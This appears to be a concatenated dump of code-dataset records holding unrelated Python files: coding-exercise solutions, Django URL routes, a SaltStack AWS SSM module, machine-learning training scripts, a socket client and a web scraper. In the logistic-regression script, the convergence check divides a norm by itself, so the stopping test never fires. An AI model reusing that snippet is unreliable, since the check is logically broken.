range(0,y+1) for k in range(0,z+1) if (i+j+k)!=n])\r\n\r\n#line(17 to 24, getting second max from a list)-----------------------------------------------\r\nif __name__ == '__main__':\r\n n = int(input())\r\n arr = list(map(int, input().split()))[:n]\r\nlarge = max(arr)\r\n\r\nwhile max(arr) == large:\r\n arr.remove(max(arr))\r\nprint(max(arr))\r\n\r\n#(27 to 37)getting name&marks in runtime, printing the name where their marks are second lowest---------\r\nn = int(input())\r\n\r\nmarksheet = [[input(),float(input())] for _ in range(n)]\r\n\r\nprint(marksheet)\r\n\r\nl1 = sorted(set(mark for name,mark in marksheet))[1]\r\nprint(l1)\r\n\r\nn1 = '\\n'.join([name for name,mark in sorted(marksheet) if mark == l1])\r\nprint(n1)","sub_path":"hackrank1.py","file_name":"hackrank1.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"10290162","text":"from django.conf import settings\nfrom django.conf.urls import url\nfrom django.conf.urls.static import static\nfrom django.contrib.auth import views as auth_views\n\nfrom pagina_web.views import (\n AboutView,\n HomePageView,\n ApplicationEnrollmentView,\n ListApplicantsView,\n ApplicantDetailsView,\n response_application,\n redirect_home,\n change_password,\n ListFaqCategoryView,\n FrequentlyAskedQuestionsView,\n edit_faq,\n delete_faq,\n AddFAQView,\n UserProfileView,\n edit_user_profile,\n edit_user_photo_profile\n)\n\nurlpatterns = [\n url(r'^$', redirect_home, name=\"home\"),\n url(r'^user/login/$', auth_views.login, name='login'),\n url(r'^user/logout/$', auth_views.logout, {'next_page': 'web_page:home_page'}, name='logout'),\n url(r'^user/change_password/$', change_password, name='change_password'),\n url(r'^user/profile/$', UserProfileView.as_view(), name=\"user_profile\"),\n url(r'^user/edit/profile/$', edit_user_profile, name=\"edit_user_profile\"),\n url(r'^user/edit/photo/profile/$', edit_user_photo_profile, name=\"edit_user_photo_profile\"),\n url(r'^developers/$', AboutView.as_view(), name=\"developers_details\"),\n url(r'^application/$', ApplicationEnrollmentView.as_view(), name=\"application_enrollment\"),\n url(r'^applicants/$', ListApplicantsView.as_view(), name=\"list_applicants\"),\n url(r'^(?P.+)/applicant/details/$', ApplicantDetailsView.as_view(), name=\"applicant_details\"),\n url(r'^response/(?P.+)/(?P.+)/$', response_application, name=\"response_application\"),\n url(r'^faq_categories/$', ListFaqCategoryView.as_view(), name=\"faq_categories\"),\n url(r'^(?P.+)/faq/$', FrequentlyAskedQuestionsView.as_view(), name=\"frequently_asked_questions\"),\n url(r'^(?P.+)/faq/add/$', AddFAQView.as_view(), name=\"add_faq\"),\n url(r'^(?P.+)/faq/edit/$', edit_faq, name=\"edit_faq\"),\n url(r'^(?P.+)/faq/delete/$', delete_faq, name=\"delete_faq\"),\n url(r'^home/$', HomePageView.as_view(), name=\"home_page\"),\n]\nif settings.DEBUG:\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","sub_path":"src/pagina_web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"252651971","text":"# -*- coding: utf-8 -*-\n'''\nConnection module for Amazon SSM\n\n:configuration: This module accepts explicit ssm credentials but can also\n utilize IAM roles assigned to the instance through Instance Profiles. Dynamic\n credentials are then automatically obtained from AWS API and no further\n configuration is necessary. More Information available at:\n\n .. code-block:: text\n\n http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html\n\n If IAM roles are not used you need to specify them either in a pillar or\n in the minion's config file:\n\n .. code-block:: yaml\n\n ssm.keyid: GKTADJGHEIQSXMKKRBJ08H\n ssm.key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs\n\n A region may also be specified in the configuration:\n\n .. code-block:: yaml\n\n ssm.region: us-east-1\n\n If a region is not specified, the default is us-east-1.\n\n It's also possible to specify key, keyid and region via a profile, either\n as a passed in dict, or as a string to pull from pillars or minion config:\n\n .. code-block:: yaml\n\n myprofile:\n keyid: GKTADJGHEIQSXMKKRBJ08H\n key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs\n region: us-east-1\n\n:depends: boto3\n'''\n# Import Python libs\nfrom __future__ import absolute_import, print_function, unicode_literals\nimport logging\n\n# Import Salt libs\nimport salt.utils.versions\nimport salt.utils.json as json\n\nlog = logging.getLogger(__name__)\n\n\ndef __virtual__():\n '''\n Only load if boto libraries exist.\n '''\n has_boto_reqs = salt.utils.versions.check_boto_reqs()\n if has_boto_reqs is True:\n __utils__['boto3.assign_funcs'](__name__, 'ssm')\n return has_boto_reqs\n\n\ndef get_parameter(name, withdecryption=False, resp_json=False, region=None, key=None, keyid=None, profile=None):\n '''\n Retrives a parameter from SSM Parameter Store\n\n .. versionadded:: Neon\n\n .. code-block:: text\n\n salt-call boto_ssm.get_parameter test-param withdescription=True\n '''\n conn = __utils__['boto3.get_connection']('ssm', region=region, key=key, keyid=keyid, profile=profile)\n try:\n resp = conn.get_parameter(Name=name, WithDecryption=withdecryption)\n except conn.exceptions.ParameterNotFound:\n log.warning(\"get_parameter: Unable to locate name: %s\", name)\n return False\n\n if resp_json:\n return json.loads(resp['Parameter']['Value'])\n else:\n return resp['Parameter']['Value']\n\n\ndef put_parameter(Name,\n Value,\n Description=None,\n Type='String',\n KeyId=None,\n Overwrite=False,\n AllowedPattern=None,\n region=None,\n key=None,\n keyid=None,\n profile=None):\n '''\n Sets a parameter in the SSM parameter store\n\n .. versionadded:: Neon\n\n .. code-block:: text\n\n salt-call boto_ssm.put_parameter test-param test_value Type=SecureString KeyId=alias/aws/ssm Description='test encrypted key'\n '''\n conn = __utils__['boto3.get_connection']('ssm', region=region, key=key, keyid=keyid, profile=profile)\n if Type not in ('String', 'StringList', 'SecureString'):\n raise AssertionError('Type needs to be String|StringList|SecureString')\n if Type == 'SecureString' and not KeyId:\n raise AssertionError('Require KeyId with SecureString')\n\n boto_args = {}\n if Description:\n boto_args['Description'] = Description\n if KeyId:\n boto_args['KeyId'] = KeyId\n if AllowedPattern:\n boto_args['AllowedPattern'] = AllowedPattern\n\n try:\n resp = conn.put_parameter(Name=Name, Value=Value, Type=Type, Overwrite=Overwrite, **boto_args)\n except conn.exceptions.ParameterAlreadyExists:\n log.warning(\"The parameter already exists.\"\n \" To overwrite this value, set the Overwrite option in the request to True\")\n return False\n return resp['Version']\n\n\ndef delete_parameter(Name, region=None, key=None, keyid=None, profile=None):\n '''\n Removes a parameter from the SSM parameter store\n\n .. versionadded:: Neon\n\n .. code-block:: text\n salt-call boto_ssm.delete_parameter test-param\n '''\n conn = __utils__['boto3.get_connection']('ssm', region=region, key=key, keyid=keyid, profile=profile)\n try:\n resp = conn.delete_parameter(Name=Name)\n except conn.exceptions.ParameterNotFound:\n log.warning(\"delete_parameter: Unable to locate name: %s\", Name)\n return False\n if resp['ResponseMetadata']['HTTPStatusCode'] == 200:\n return True\n else:\n return False\n","sub_path":"salt/modules/boto_ssm.py","file_name":"boto_ssm.py","file_ext":"py","file_size_in_byte":4671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"317344196","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n# load libraries\nimport pandas as pd \nimport numpy as np \nfrom sklearn.metrics import classification_report, confusion_matrix \nfrom sklearn.datasets import load_breast_cancer \nfrom sklearn.model_selection import train_test_split\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import GridSearchCV \nfrom sklearn.model_selection import cross_val_score\n\n\n# In[2]:\n\n\n# define a functione that splits data into trainging and test sets\ndef split_data(data, outcome_variable):\n X = data[['NumberOfPosts','manager_prop','Q','salaries','Basic Materials','Communication Services',\n 'Consumer Cyclical','Consumer Defensive','Energy','Financial Services','Healthcare',\n 'Industrials','Real Estate','Technology']].values\n y = data[outcome_variable]\n X_train, X_test, y_train, y_test = train_test_split(X, y, train_size=0.7, random_state=2019)\n return({'X_train':X_train, 'X_test':X_test, 'y_train':y_train, 'y_test':y_test})\n\ndef svm_classifier_grid_search(X_train, X_test, y_train, y_test, param_grid):\n grid = GridSearchCV(SVC(), param_grid, cv = 5, refit = True, verbose = 0) \n \n # fitting the model for grid search \n grid.fit(X_train, y_train) \n print(\"The best classifier is: \", grid.best_estimator_)\n \n grid_predictions = grid.predict(X_test) \n \n # print classification report \n print(classification_report(y_test, grid_predictions)) \n accuracy_score = round(np.average(cross_val_score(grid, X_test, y_test, scoring='accuracy')), 3)\n print(\"Accuracy:\"+str(accuracy_score))\n\n\n# In[3]:\n\n\n# locate datasets\nmaster_data_file = 'team/courses/MSiA400/GrandCanyon/aws_data/MasterData2.csv'\nMasterData = pd.read_csv(master_data_file, encoding = \"ISO-8859-1\")\n# drop -inf, inf and nan valuess\nMasterData = MasterData.replace([np.inf, -np.inf], np.nan)\nMasterData = MasterData.dropna()\n\n# split the data and choose a outcome variable\nsplit_result=split_data(MasterData, \"Revenue_up\")\n\n\n# In[ ]:\n\n\n# define parameter range \nparameters = {'kernel':('linear', 'rbf'), \n 'C':(1,0.25,0.5,0.75),\n 'gamma': (1,2,3,'auto'),\n 'decision_function_shape':('ovo','ovr'),\n 'shrinking':(True,False)}\n\n# fitting the model for grid search\nsvm_classifier_grid_search(split_result['X_train'], split_result['X_test'], \n split_result['y_train'], split_result['y_test'], parameters)\n \n\n","sub_path":"code/svm_classifiction.py","file_name":"svm_classifiction.py","file_ext":"py","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"294843703","text":"import sys\nimport subprocess\n\nx = [1, 2, 3, 4]\n#i = open('tes.txt','w').close()\n\n#i = open('tes.txt', \"a\")\n#i.write('<' + repr(x[1]) + '>')\n\n\nanswer = subprocess.check_output(['./blackbox', str(x[0]), str(x[1]), str(x[2])])\n\n\nprint(answer),\n\nhe = 1 + float(answer)\n\nprint(he)\n\n\n","sub_path":"labs/lab2/play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"531323956","text":"import socket\n\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)\nhostname = socket.gethostname() # 获取本机用户名\nHOST = socket.gethostbyname(hostname) # 获取本机IP\nPORT = 2055\nADDR = (HOST, PORT)\n\ns.connect(ADDR)\ns_Server, s_port = s.getpeername() # 获取远程主机名和IP\nprint(s_Server, s_port)\ndata = s.recv(1024)\nprint(data.decode())\ns.close()\n","sub_path":"TestSocket/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"183731776","text":"# -*- coding: utf-8 -*-\n\n''' Logistic regression with IRLS '''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndata = [[0, 0], [2, 0], [5, 0], [7, 0], [8, 1],\n [11, 0], [14, 0], [19, 1], [22, 0], [26, 1],\n [28, 1], [33, 0], [33, 1], [35, 1], [37, 1],\n [39, 1], [41, 1], [43, 1]]\nN = 18 # num of data\n\nx = np.array(data).T[0]\nt = np.array(data).T[1]\n\neps = 0.1\niteration_max = 1000\n\ndef sigmoid(a):\n return 1 / (1 + np.exp(-a))\n\nw = np.array([0.1, 0.1]) # init\ntmp = np.ones(N)\nphi = np.c_[tmp, x] # input vector\n\n# IRLS (iterative reweighted least squares method)\nfor i in range(0, iteration_max):\n\n # calculate R and y\n R = np.zeros((N, N))\n y = []\n for n in range(N):\n a = np.dot(w, phi[n,])\n y_n = sigmoid(a)\n R[n, n] = y_n * (1 - y_n)\n y.append(y_n)\n\n # calculate Hessian matrix\n H = np.dot(phi.T, np.dot(R, phi))\n\n # update w\n w_new = w - np.dot(np.linalg.inv(H), np.dot(phi.T, y-t))\n\n # judge the convergence\n diff = np.linalg.norm(w_new - w) / np.linalg.norm(w_new - w)\n if diff < eps:\n break\n\n # update and repeat\n w = w_new\n \nprint(w)\n\n\n# Draw graph\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\nax.set_title('Logistic regression')\nax.set_xlabel('s')\nax.set_ylabel('f')\nax.set_xlim((0, 60))\nax.set_ylim((0, 1))\n\nss = np.arange(0, 200, 0.1)\nf = []\nfor s in ss:\n a = w[0] + w[1] * s\n f.append(1 / (1 + np.exp(-a)))\n\nax.plot(ss, f, \"black\")\nplt.show()\n","sub_path":"logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"299198446","text":"from bs4 import BeautifulSoup as bs\nfrom urllib.error import HTTPError\nfrom urllib.error import URLError\nimport urllib.request\nimport re\n\n\n# Override default user agent\nclass AppURLopener(urllib.request.FancyURLopener):\n version = \"Mozilla/5.0\"\n\n\nurllib._urlopener = AppURLopener()\n\n\ndef main():\n try:\n open = AppURLopener()\n res = open.open(\"https://www.imovelweb.com.br/imoveis-sao-paulo-sp.html\")\n except HTTPError as e:\n print(e)\n except URLError:\n print(\"Incorrect domain\")\n else:\n page = bs(res, \"html5lib\")\n lis = page.findAll(\"li\", {\"class\": \"aviso-desktop\"})\n # print(lis[1].find_all('input'))\n for i in range(len(lis)):\n inputs = lis[i].find_all('input')\n for j in range(len(inputs)):\n inp = inputs[j]\n print(inp)\n p = re.compile(r'\\$(.+(\\d))')\n # value = inp.findAll(\"input\", {'class': 'avisoPrecio'})\n place_value = p.match(str(inp))\n if (place_value != None):\n place_value = place_value.group(0)\n print(place_value)\n # child_input = li.children.name\n # if (child_input == 'input'):\n # print(child_input)\n\n\nmain()\n","sub_path":"webscrape/webs.py","file_name":"webs.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"315674321","text":"#!/usr/bin/env python3\n\nimport argparse\n\nimport BOGP\n\nfrom AmiSimTools.DataTriage import DataTriageCSV\nfrom AmiSimTools.SimScreen import SimulatedScreenerSerial\n\n\nif __name__ == '__main__':\n\n data_location = r'C:\\Users\\crh53\\OneDrive\\Desktop\\PHD_Experiments\\E2_AMI_James\\Data\\Scaled_HMOF_Data.csv'\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-d', '--data_file', action='store', default=data_location, help='path to data file')\n parser.add_argument('-i', '--initial_samples', action='store', type=int, default=100, help='# of random samples AMI takes')\n parser.add_argument('-m', '--max_iterations', action='store', type=int, default=2000, help='# of materials AMI will sample')\n parser.add_argument('-s', '--sim_code', action='store', type=str, default='N/A', help='Reference code for simulation')\n parser.add_argument('-a', '--acquisition', action='store', type=str, default='Thompson', help='AMI acquisition func')\n args = parser.parse_args()\n\n sim_data = DataTriageCSV.load_from_path(args.data_file)\n # loads data from csv file and then determines `status` array and other parameters as dict needed for the screening\n\n sim_screen = SimulatedScreenerSerial(data_params=sim_data, max_iterations=args.max_iterations, sim_code=args.sim_code)\n ami = BOGP.prospector(X=sim_data.X, acquisition_function=args.acquisition)\n # initialises the AMI model and the simulation screener with the triaged data\n\n sim_screen.initial_random_samples(num_initial_samples=args.initial_samples)\n sim_screen.perform_screening(model=ami, verbose=True)\n # performs the screening of the loaded data set using the ami model after picking a number of initial samples\n\n","sub_path":"Simulated_AMI_Screen.py","file_name":"Simulated_AMI_Screen.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"222769805","text":"## HW 1\n## SI 364 W18\n## 1000 points\n\n#################################\n\n## List below here, in a comment/comments, the people you worked with on this assignment AND any resources you used to find code (50 point deduction for not doing so). If none, write \"None\".\n## https://www.yelp.com/developers/v3/manage_app?saved_changes=True \n## https://www.yelp.com/developers/documentation/v3/business_search\n## https://github.com/Yelp/yelp-fusion/blob/master/fusion/python/sample.py\n## http://jsoneditoronline.org/ \n\n\n## [PROBLEM 1] - 150 points\n## Below is code for one of the simplest possible Flask applications. Edit the code so that once you run this application locally and go to the URL 'http://localhost:5000/class', you see a page that says \"Welcome to SI 364!\"\n\nfrom flask import Flask, request\nimport requests\nimport json\nimport api_info_template\napp = Flask(__name__)\napp.debug = True\n\n@app.route('/')\ndef hello_to_you():\n return 'Hello!'\n\n#Problem 1 solution\n@app.route('/class')\ndef hello_class():\n\treturn 'Welcome to SI 364!'\n\n#Problem 2 solution\n@app.route('/movie/')\ndef movie_search(anytitlesearch):\n\tbaseurl = \"https://itunes.apple.com/search?\"\n\tsearch_query = {\"term\" : anytitlesearch, \"entity\" : \"movie\"}\n\tresponse = requests.get(baseurl, params=search_query)\n\treturn str(response.json())\n\n#Problem 3 solution \n#displays form asking user for favorite number\n@app.route('/question')\ndef question():\n\tformstring = \"\"\"\n\t
    \n\t

    Enter your favorite number:

    \n\t \n\t\"\"\"\n\treturn formstring\n\n#prints the result of the form which is doubling the value entered \n@app.route('/result', methods=[\"GET\"])\ndef question_result():\n\tresult_str = \"Double your favorite number is \"\n\tif request.method == \"GET\":\n\t\tnum = request.args.get('fav_number', '0')\n\t\treturn result_str + str(int(num)*2)\n\treturn \"You didn't enter a number!\"\n\n#Problem 4 solution\n#accesses Yelp Search API\n#form will ask for a location in the form a city name (text input)\n#form will also ask for user to check boxes indicated what kind of results are wanted (kinds of restaurants)\n#when submitted, results returned will display recommendations from the Yelp Search API based on input info \n@app.route('/problem4form', methods=[\"GET\"])\ndef problem4():\n\t#html form \n\tformstring = \"\"\"\n\t\n\t

    Welcome to the Restaurant Recommender!

    \n\t

    Please enter your location (name of a city):

    \n\t
    \n\t

    Please check which kind of restaurant you're looking for:

    \n\t Breakfast
    \n\t Brunch
    \n\t Lunch
    \n\t Dinner
    \n\t Coffee
    \n\t Ice Cream

    \n\t\n\t

    \n\t\"\"\"\n\n\t#secret values \n\tclient_id = api_info_template.client_id\n\tclient_secret = api_info_template.client_secret\n\taccess_token = api_info_template.access_token\n\n\t#authentication to yelp \n\tbase_url = \"https://api.yelp.com/v3/businesses/search\"\n\theaders = {'Authorization' : 'Bearer %s' % access_token,}\n\n\tif request.method == 'GET':\n\t\tresult_str = formstring\n\t\t#determine search terms from input data \n\t\turl_params = {} \n\t\turl_params[\"limit\"] = 3\n\t\turl_params[\"location\"] = request.args.get('city', \"\").replace(' ', '+')\n\t\t#determine which checkboxes were selected before putting it in the url_params dict\n\t\trestaurant_type = {}\n\t\trestaurant_type[\"restaurant1\"] = request.args.get('restaurant1')\n\t\trestaurant_type[\"restaurant2\"] = request.args.get('restaurant2')\n\t\trestaurant_type[\"restaurant3\"] = request.args.get('restaurant3')\n\t\trestaurant_type[\"restaurant4\"] = request.args.get('restaurant4')\n\t\trestaurant_type[\"restaurant5\"] = request.args.get('restaurant5')\n\t\trestaurant_type[\"restaurant6\"] = request.args.get('restaurant6')\n\t\t#make a separate request for each restaurant type selected \n\t\tfor x in restaurant_type:\n\t\t\t#if the checkbox was not selected, don't make a request for that search term \n\t\t\tif restaurant_type[x] != None:\n\t\t\t\turl_params[\"term\"] = restaurant_type[x] \n\t\t \t\t#make request \n\t\t\t\tresponse = requests.request('GET', base_url, headers=headers, params=url_params)\n\t\t\t\t#parse through the json object and retrieve the names of each business returned\n\t\t\t\tnames = \"\"\n\t\t\t\tfor business in response.json()[\"businesses\"]:\n\t\t\t\t\tnames = names + business[\"name\"] + '
    '\n\t\t\t\t#format string to be displayed to user \n\t\t\t\trecommendation_str = \"For \" + restaurant_type[x] + \", you should try:
    \" + names + \"
    \"\n\t\t\t\tresult_str = result_str + recommendation_str \n\t\treturn result_str\n\telse: \n\t\treturn formstring\n\n\n\nif __name__ == '__main__':\n app.run()\n\n\n## [PROBLEM 2] - 250 points\n## Edit the code chunk above again so that if you go to the URL 'http://localhost:5000/movie/' you see a big dictionary of data on the page. For example, if you go to the URL 'http://localhost:5000/movie/ratatouille', you should see something like the data shown in the included file sample_ratatouille_data.txt, which contains data about the animated movie Ratatouille. However, if you go to the url http://localhost:5000/movie/titanic, you should get different data, and if you go to the url 'http://localhost:5000/movie/dsagdsgskfsl' for example, you should see data on the page that looks like this:\n\n# {\n# \"resultCount\":0,\n# \"results\": []\n# }\n\n\n## You should use the iTunes Search API to get that data.\n## Docs for that API are here: https://affiliate.itunes.apple.com/resources/documentation/itunes-store-web-service-search-api/\n## Of course, you'll also need the requests library and knowledge of how to make a request to a REST API for data.\n\n## Run the app locally (repeatedly) and try these URLs out!\n\n## [PROBLEM 3] - 250 points\n\n## Edit the above Flask application code so that if you run the application locally and got to the URL http://localhost:5000/question, you see a form that asks you to enter your favorite number.\n## Once you enter a number and submit it to the form, you should then see a web page that says \"Double your favorite number is \". For example, if you enter 2 into the form, you should then see a page that says \"Double your favorite number is 4\". Careful about types in your Python code!\n## You can assume a user will always enter a number only.\n\n\n## [PROBLEM 4] - 350 points\n\n## Come up with your own interactive data exchange that you want to see happen dynamically in the Flask application, and build it into the above code for a Flask application, following a few requirements.\n\n## You should create a form that appears at the route: http://localhost:5000/problem4form\n\n## Submitting the form should result in your seeing the results of the form on the same page.\n\n## What you do for this problem should:\n# - not be an exact repeat of something you did in class\n# - must include an HTML form with checkboxes and text entry\n# - should, on submission of data to the HTML form, show new data that depends upon the data entered into the submission form and is readable by humans (more readable than e.g. the data you got in Problem 2 of this HW). The new data should be gathered via API request or BeautifulSoup.\n\n# You should feel free to be creative and do something fun for you --\n# And use this opportunity to make sure you understand these steps: if you think going slowly and carefully writing out steps for a simpler data transaction, like Problem 1, will help build your understanding, you should definitely try that!\n\n# You can assume that a user will give you the type of input/response you expect in your form; you do not need to handle errors or user confusion. (e.g. if your form asks for a name, you can assume a user will type a reasonable name; if your form asks for a number, you can assume a user will type a reasonable number; if your form asks the user to select a checkbox, you can assume they will do that.)\n\n# Points will be assigned for each specification in the problem.\n","sub_path":"SI364W18_HW1.py","file_name":"SI364W18_HW1.py","file_ext":"py","file_size_in_byte":8285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"544533058","text":"import torch \nimport torch.nn as nn \nfrom model import l3_dense\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nimport torch.optim as optim\nfrom IPython import embed\nimport argparse\nfrom TAU_Urban_Dataset import TAU_Urban\nimport pandas\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom torch.utils.tensorboard import SummaryWriter\nimport os\nfrom tqdm import tqdm\n'''\nThis script is to train audio, video and audio-visual networks.\nExamples to run this code,\npython train.py --features_path '../create_data/features_data/' --model_type 'audio'\npython train.py --features_path '../create_data/features_data/' --model_type 'video'\npython train.py --features_path '../create_data/features_data/' --model_type 'audio_video'\n'''\n\n#####set the seed to reproduce the results#####\nnp.random.seed(0)\ntorch.manual_seed(0)\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\n\nparser = argparse.ArgumentParser(description='Train audio, video and audio-visual networks')\nparser.add_argument('--features_path', type=str,required=True,\n help='give the features path')\nparser.add_argument('--model_type', type=str,required=True,\n help='it can be audio, video, audio_video') \nparser.add_argument('--n_epoch', type=int, default=200,required=False,\n help='number of epochs you wish to run') \nparser.add_argument('--batch_size', type=int, default=64,required=False,\n help='set the batch size') \nparser.add_argument('--num_classes', type=int, default=10,required=False,\n help='set the batch size') \nargs, _ = parser.parse_known_args()\n\n####### load the dataloader#########\ntr_Dataset =TAU_Urban('tr',args.features_path,args.model_type)\ntraining_generator = DataLoader(tr_Dataset,batch_size = args.batch_size,\n shuffle = True,\n num_workers = 16,\n drop_last = True) \n\ncv_Dataset =TAU_Urban('val',args.features_path,args.model_type)\nvalidation_loader = DataLoader(cv_Dataset,batch_size = args.batch_size,\n shuffle = True,\n num_workers = 16,\n drop_last = True)\n####### load the dataloader#########\n\n#######define the model###########\nif args.model_type == 'audio':\n model = l3_dense(512,args.num_classes)\n print(model)\n output_dir = './audio_model/'\nelif args.model_type == 'video':\n model = l3_dense(512,args.num_classes)\n print(model)\n output_dir = './video_model/'\nelif args.model_type == 'audio_video':\n model = l3_dense(2*512,args.num_classes)\n print(model)\n output_dir = './audio_video_model/'\n#######define the model###########\n\nif not os.path.exists(output_dir):\n os.makedirs(output_dir)\n print(\"Directory \" , output_dir , \" Created \")\nelse:\n print(\"Directory \" , output_dir , \" already exists\")\n\n########### use GPU ##########\nuse_cuda = torch.cuda.is_available()\nprint('use_cude',use_cuda)\ndevice = torch.device(\"cuda:0\" if use_cuda else \"cpu\")\n########### use GPU ##########\n\n\n#### define the loss function and the optimizer#########\nloss_fn = torch.nn.CrossEntropyLoss()\noptimizer =optim.Adam(model.parameters(), lr=0.0001,weight_decay=0.0001)\n#optimizer = optim.SGD(model.parameters(), lr=0.005, momentum=0.9, weight_decay=0.01)\n# scheduler = optim.lr_scheduler.ExponentialLR(optimizer, gamma=0.5)\n# scheduler.step()\n#### define the loss function and the optimizer#########\n\nprint('-----------start training')\n######define train function######\ndef train(epoch,writer_tr):\n model.train()\n train_loss = 0.\n #embed()\n start_time = time.time()\n count = training_generator.__len__()*(epoch-1)\n loader = tqdm(training_generator)\n for batch_idx, data in enumerate(loader):\n #embed()\n count = count + 1\n batch_embed = Variable(data[0]).contiguous() \n batch_label = Variable(data[1]).contiguous()\n #video_name = data[2]\n #embed()\n batch_embed = batch_embed.to(device)\n batch_label = batch_label.to(device) \n \n # training\n optimizer.zero_grad() \n # embed() \n esti_label = model(batch_embed)\n loss = loss_fn(esti_label,batch_label)\n loss.backward()\n \n train_loss += loss.data.item()\n optimizer.step()\n #writer_tr.add_scalar('Loss/train', loss.data.item(),batch_idx*epoch)\n \n if (batch_idx+1) % 100 == 0:\n elapsed = time.time() - start_time\n\n writer_tr.add_scalar('Loss/train', loss.data.item(),count)\n writer_tr.add_scalar('Loss/train_avg', train_loss/(batch_idx+1),count)\n print('| epoch {:3d} | {:5d}/{:5d} batches | ms/batch {:5.2f} | loss {:5.2f} |'.format(\n epoch, batch_idx+1, len(training_generator),\n elapsed * 1000 / (batch_idx+1), loss ))\n \n \n train_loss /= (batch_idx+1)\n print('-' * 99)\n print(' | end of training epoch {:3d} | time: {:5.2f}s | training loss {:5.2f} |'.format(\n epoch, (time.time() - start_time), train_loss))\n \n return train_loss\n######define train function######\n\n######define validate function######\ndef validate(epoch,writer_val):\n model.eval()\n validation_loss = 0.\n start_time = time.time()\n # data loading\n for batch_idx, data in enumerate(validation_loader):\n \n batch_embed = Variable(data[0]).contiguous() \n batch_label = Variable(data[1]).contiguous()\n \n batch_embed = batch_embed.to(device)\n batch_label = batch_label.to(device) \n \n with torch.no_grad():\n esti_label = model(batch_embed)\n loss = loss_fn(esti_label,batch_label) \n validation_loss += loss.data.item()\n \n #print('the ',batch_idx,'iteration val_loss is ', validation_loss)\n validation_loss /= (batch_idx+1)\n # embed()\n writer_val.add_scalar('Loss/val', loss.data.item(),batch_idx*epoch)\n writer_val.add_scalar('Loss/val_avg', validation_loss,batch_idx*epoch)\n print(' | end of validation epoch {:3d} | time: {:5.2f}s | validation loss {:5.2f} |'.format(\n epoch, (time.time() - start_time), validation_loss))\n print('-' * 99)\n \n return validation_loss \n######define validate function######\n \n \ntraining_loss = []\nvalidation_loss = []\ndecay_cnt = 0\nwriter_tr = SummaryWriter(os.path.join(output_dir,'train'))\nwriter_val = SummaryWriter(os.path.join(output_dir,'val'))\nfor epoch in range(1, args.n_epoch):\n model.cuda()\n print('this is epoch', epoch)\n training_loss.append(train(epoch,writer_tr)) # Call training \n validation_loss.append(validate(epoch,writer_val)) # call validation\n print('-' * 99)\n print('after epoch', epoch, 'training loss is ', training_loss, 'validation loss is ', validation_loss)\n if training_loss[-1] == np.min(training_loss):\n print(' Best training model found.')\n print('-' * 99)\n if validation_loss[-1] == np.min(validation_loss):\n # save current best model\n with open(output_dir+'model.pt', 'wb') as f:\n torch.save(model.cpu().state_dict(), f)\n \n print(' Best validation model found and saved.')\n print('-' * 99)\n\n #torch.save(model, os.path.join(os.path.dirname(args.val_save), 'alt_' + os.path.basename(args.val_save))) # save in alternative format \n \n # decay_cnt += 1\n # #lr decay\n # #if np.min(validation_loss) not in validation_loss[-3:] and decay_cnt >= 3:\n # if np.min(training_loss) not in training_loss[-3:] and decay_cnt >= 3:\n # scheduler.step()\n # decay_cnt = 0\n # print(' Learning rate decreased.')\n # print('-' * 99)\n\n####### plot the loss and val loss curve####\nminmum_val_index=np.argmin(validation_loss)\nminmum_val=np.min(validation_loss)\nplt.plot(training_loss,'r')\n#plt.hold(True)\nplt.plot(validation_loss,'b')\nplt.axvline(x=minmum_val_index,color='k',linestyle='--')\nplt.plot(minmum_val_index,minmum_val,'r*')\n\nplt.title('model loss')\nplt.ylabel('loss')\nplt.xlabel('epoch')\nplt.legend(['train_loss', 'val_loss'], loc='upper left')\nplt.savefig(output_dir+'loss.png')\n####### plot the loss and val loss curve####\n\n\n","sub_path":"train/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"338216028","text":"# /usr/bin/python3.6\n# -*- coding:utf-8 -*-\n\n\nclass Solution(object):\n def findErrorNums(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n m = {}\n length = len(nums)\n for num in nums:\n m[num] = m.get(num, 0) + 1\n ret = []\n for i in range(1, length+1):\n buffer = m.get(i, 0)\n if buffer == 2:\n ret.insert(0, i)\n if buffer == 0:\n ret.append(i)\n return 